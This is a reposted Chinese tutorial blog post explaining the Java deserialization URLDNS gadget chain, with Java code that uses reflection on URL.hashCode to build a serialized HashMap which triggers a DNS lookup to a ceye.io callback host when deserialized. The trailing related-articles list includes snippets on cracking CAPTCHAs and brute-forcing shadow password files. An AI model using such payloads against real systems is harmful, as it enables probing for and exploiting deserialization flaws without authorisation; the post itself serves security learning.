java反序列化---URLDNS链

news2024/12/23 19:36:19

目录

一、前言

二、原理分析

三、代码实现


一、前言

URLDNS链相较于其他java反序列化链是比较简单的,只需要几步调用就能触发

所以学习java反序列化,最好从URLDNS链出发,初步了解如何跟进,以及反射获取类、方法等

使用这条链可以传入一个URL,然后触发的结果就是进行一次DNS请求

为了方便通信,通常需要把数据序列化,通信完成后,再把数据反序列化,在这之中就会产生漏洞

在数据反序列化时,某些类会自动调用readObject()方法,执行里面的代码

调用链

Gadget Chain:
    HashMap.readObject()
        HashMap.putVal()
            HashMap.hash()
                URL.hashCode()

二、原理分析

在反序列化时,readObject方法内的代码会自动执行,key=URL,跟进putVal函数

putVal方法调用hash()函数,再跟进hash函数

发现hash函数调用的是key.hashCode(),也就是URL.hashCode(),那么我们再跟进URL的hashCode函数 

如果hashCode不等于-1,就返回原值,否则执行handler.hashCode,跟进这里的hashCode 

走到getHostAddress函数中,跟进

又返回u.getHostAddress()方法,再跟进 

 

 就到了getByName,进行DNS请求

这样一套操作下来,就完成了DNS请求 

三、代码实现

我们可以先写成这样看一下,按理说,我们还没有反序列化,readObject方法不会自动执行,DNS解析也就不会执行

注意:最好新建Maven项目,新建文件夹,把代码写到对应的文件夹下,不然有可能会报错

public class demo {
    public static void main(String[] args) throws Exception{
        HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();
        URL url = new URL("http://tixtwe.ceye.io");
        hashmap.put(url,1);
        serialize(hashmap);
    }

    public static void serialize(Object obj) throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

但是确实是执行了,那为什么呢?

这是因为Hashmap的put方法也会调用putVal函数, 然后和上面我们分析的一样,会进行DNS解析

所以我们需要禁止掉put函数进行DNS解析,那怎样禁止呢?

通过这个if,我们可以让hashCode不等于-1,那就走到返回原值那里了,就不会往下执行了

但问题是怎么让它不等于-1,java.net.URL中规定了hashCode=-1,并且是个私有方法

这里我们可以使用反射,来修改hashCode的值

    public static void main(String[] args) throws Exception{
        HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();
        // 这里不要发起请求
        URL url = new URL("http://tixtwe.ceye.io");
        Class c = url.getClass();
        Field hashcodefile = c.getDeclaredField("hashCode");
        hashcodefile.setAccessible(true);
        hashcodefile.set(url,1234);
        hashmap.put(url,1);
        serialize(hashmap);

首先创建名为hashmap和url的两个实例,getClass()获取到URL这个类

然后getDeclaredField获取到URL类中的hashCode字段,设置可修改性为true 

修改hashCode值为1234,最后调用put方法,这样修改了hashCode的值,DNS请求不会触发

问题解决以后,我们再说反序列化,修改代码如下

public static void main(String[] args) throws Exception{
        HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();
        URL url = new URL("http://tixtwe.ceye.io");
        Class c = Class.forName("java.net.URL");
        Field hashcodefile = c.getDeclaredField("hashCode");
        hashcodefile.setAccessible(true);
        hashcodefile.set(url,1234);
        hashmap.put(url,1);
        // 这里把 hashCode 改为 -1; 通过反射的技术改变已有对象的属性
        hashcodefile.set(url,-1);
        serialize(hashmap);
        unserialize("ser.bin");
    }

值得注意的是,我们需要将原本的hashCode值给修改回来,不然到反序列化时,readObject函数也会调用putVal和hashCode

如果不等于-1,DNS请求就不会触发,只有修改回来,才能正常调用

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1019501.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

『PyQt5-Qt Designer篇』| 10 Qt Designer中控件的尺寸相关设置(sizePolicy策略)

10 Qt Designer中控件的尺寸相关设置(sizePolicy策略) 1 设置控件尺寸1.1 查看最大和最小尺寸1.2 设置最大和最小尺寸2 期望尺寸2.1 期望尺寸2.2 获取期望尺寸3 sizePolicy(尺寸策略)3.1 简介3.2 属性值4 示例1 设置控件尺寸 1.1 查看最大和最小尺寸 默认情况下控件的最大值…

Java集合之HashSet接口

Set Set接口、HashSet类、TreeSet类 Set&#xff08;组、集&#xff09;&#xff1a;表示无序&#xff0c;元素不能重复的集合&#xff0c;组中的元素必须唯一 Set接口 Set接口定义了组/集/集合&#xff08;Set&#xff09;。他扩展了Collection接口&#xff0c;并声明了不允…

华为OD机试 - 分苹果 - 二进制(Java 2023 B卷 100分)

目录 专栏导读一、题目描述二、输入描述三、输出描述四、解题思路五、Java算法源码六、效果展示1、输入2、输出3、说明核心算法&#xff1a;按照二进制加法计算&#xff0c;并且不计算进位。但是&#xff0c;B希望在满足A的情况下获取苹果重量最多。 华为OD机试 2023B卷题库疯狂…

企业架构LNMP学习笔记51

企业案例使用&#xff1a; 主从模式&#xff1a; 缓存集群结构示意图&#xff1a; 去实现Redis的业务分离&#xff1a; 读的请求分配到从服务器上&#xff0c;写的请求分配到主服务器上。 Redis是没有中间件来进行分离的。 是通过业务代码直接来进行读写分离。 准备两台虚…

wordpress使用category order and taxonomy terms order插件实现分类目录的拖拽排序

文章目录 引入实现效果安装插件使用插件 引入 使用docker快速搭建wordpress服务&#xff0c;并指定域名访问 上一节我们使用docker快速搭建了wordpress服务&#xff0c;可以看到基础的wordpress服务已经集成基础的用户管理、文章发布、页面编辑、文章分类等功能&#xff0c;但…

某验3空间推理验证码破解

geetest极验空间推理验证码破解 > 本篇文章仅供学习使用&#xff0c;如侵权请联系删除。某验验证码3代&#xff0c;4代已经是老生常谈的问题了&#xff0c;本篇文章粗略的分析一波3代空间推理验证码识别与验证的整个过程。 yolov识别坐标 1.参数破解 从一开始gt和challen…

【Django】掌握models.py模型文件的使用

原文作者&#xff1a;我辈李想 版权声明&#xff1a;文章原创&#xff0c;转载时请务必加上原文超链接、作者信息和本声明。 文章目录 前言一、models类继承&#xff08;一&#xff09;创建apps文件夹&#xff08;二&#xff09;settings.py文件配置&#xff08;三&#xff09;…

python连接mysql数据库报错pymysql.err.OperationalError

报错如下&#xff1a; 历史工程使用的是python3.6pymysqlmysql8.0 原因分析&#xff1a; 1、可能密码错误&#xff0c;通过navicat可以正常连接, 可排除 2、可能新版mysql默认使用的caching_sha2_password认证方式&#xff0c;换成mysql_native_password就可以 解决方法&am…

【今日话题】如何看待Unity收费一事,对标中小公司的从业者的该如何做

&#x1f468;‍&#x1f4bb;个人主页&#xff1a;元宇宙-秩沅 &#x1f468;‍&#x1f4bb; hallo 欢迎 点赞&#x1f44d; 收藏⭐ 留言&#x1f4dd; 加关注✅! &#x1f468;‍&#x1f4bb; 本文由 秩沅 原创 &#x1f468;‍&#x1f4bb; 收录于专栏&#xff1a;Uni…

nowcoder NC30 缺失的第一个正整数

目录 题目描述&#xff1a; 分析&#xff1a; 完整代码&#xff1a; 题目链接&#xff1a; https://www.nowcoder.com/share/jump/819478881694767416272 题目描述&#xff1a; 给定一个无重复元素的整数数组nums&#xff0c;请你找出其中没有出现的最小的正整数 进阶&am…

常用电压基准芯片SC431BVSNT1G 应用及介绍

SC431BVSNT1G安森美深力科一款集成电路为三端子可编程并联调节二极管。这些单片IC电压参考作为低温系数齐纳工作可使用两个外部电阻器从Vref编程到36V。工作电流范围很宽&#xff0c;从40 a到100 mA典型的动态阻抗为0.22&#xff0c;2.5 V参考电压便于获得来自5.0 V逻辑电源的稳…

Python爆破shadow文件密码

原理 加密算法(明文&#xff0c;盐值) 密文 上面是shadow文件中密码的加密公式&#xff0c;我们可以用Python中的crypt()函数进行上述运算&#xff0c;如果得出的密文与原来的一致&#xff0c;说明密码爆破成功。 关于盐值和shadow文件的字段详解&#xff0c;请移步我的这篇博…

Vue-01:MVVM数据双向绑定与Vue的生命周期

一、Vue介绍 1.1 什么是Vue &#xff1f; Vue是一个渐进式的JavaScript框架&#xff0c;用于构建用户界面。"渐进式"意味着Vue的设计理念是逐步增强应用的功能和复杂性&#xff0c;而不是一次性地引入所有功能。这使得开发者可以根据项目需求选择性地使用Vue的不同特…

Rocketmq并发和顺序消费的失败重试机制

文章目录 问题并发消费触发时机客户端发起请求 CONSUMER_SEND_MSG_BACKBroker处理CONSUMER_SEND_MSG_BACK请求 顺序消费Q&A消费的时候是一批的消息, 如果其中某条消费失败了,是所有的消息都会被重试吗&#xff1f;用户可以自己控制重试次数、重试间隔时间吗?批量消费消息,…

Redis分布式锁的实现方式、实现原理

目录 一、分布式锁的重要性与挑战1.1 分布式系统中的并发问题竞态条件数据不一致死锁 二、分布式锁的基本原理与实现方式2.1 分布式锁的基本概念2.2 基于数据库的分布式锁原理与实现方式优缺点 2.3 基于缓存的分布式锁原理与实现方式优缺点 三、Redis分布式锁的实现与使用3.1 使…

elasticsearch19-数据同步

个人名片&#xff1a; 博主&#xff1a;酒徒ᝰ. 个人简介&#xff1a;沉醉在酒中&#xff0c;借着一股酒劲&#xff0c;去拼搏一个未来。 本篇励志&#xff1a;三人行&#xff0c;必有我师焉。 本项目基于B站黑马程序员Java《SpringCloud微服务技术栈》&#xff0c;SpringCloud…

算法通关村第13关【黄金】| 数论问题

1.欧几里得算法 思路&#xff1a;欧几里得算法 【欧几里得演算法(辗转相除法)】 https://www.bilibili.com/video/BV19r4y127fu/?share_sourcecopy_web&vd_sourced124eda224bf54d0e3ab795c0b89dbb0 class Solution {public int findGCD(int[] nums) {int min Integer.MA…

001:vue3 实现自定义指令v-copy复制

文章目录 1. 实现效果2. vue3 注册全局自定义指令详解&#xff08;v-copy&#xff09;3. main.js 注册全局自定义指令&#xff0c;挂载到 vue 上4. 页面使用 1. 实现效果 2. vue3 注册全局自定义指令详解&#xff08;v-copy&#xff09; 在src中&#xff0c;新建 directive 文…

鸟哥的LInux私房菜 基础学习篇 第四版 学习笔记

第一章 目前被称为纯种的Unix指的是System V以及BSD这两套软件。 要实现多任务的环境&#xff0c;除了硬件&#xff08;主要是CPU&#xff09;需要能够具有多任务的特性外&#xff0c;操作系统也需要支持这个功能。 如果网络有问题时&#xff0c;去/var/log目录查日志。 第二…

基于Java的高校科研信息管理系统设计与实现(亮点:完整严谨的科研项目审批流程、多文件上传、多角色)

高校科研信息管理系统 一、前言二、我的优势2.1 自己的网站2.2 自己的小程序&#xff08;小蔡coding&#xff09;2.3 有保障的售后2.4 福利 三、开发环境与技术3.1 MySQL数据库3.2 Vue前端技术3.3 Spring Boot框架3.4 微信小程序 四、功能设计4.1 主要功能描述 五、系统实现5.1…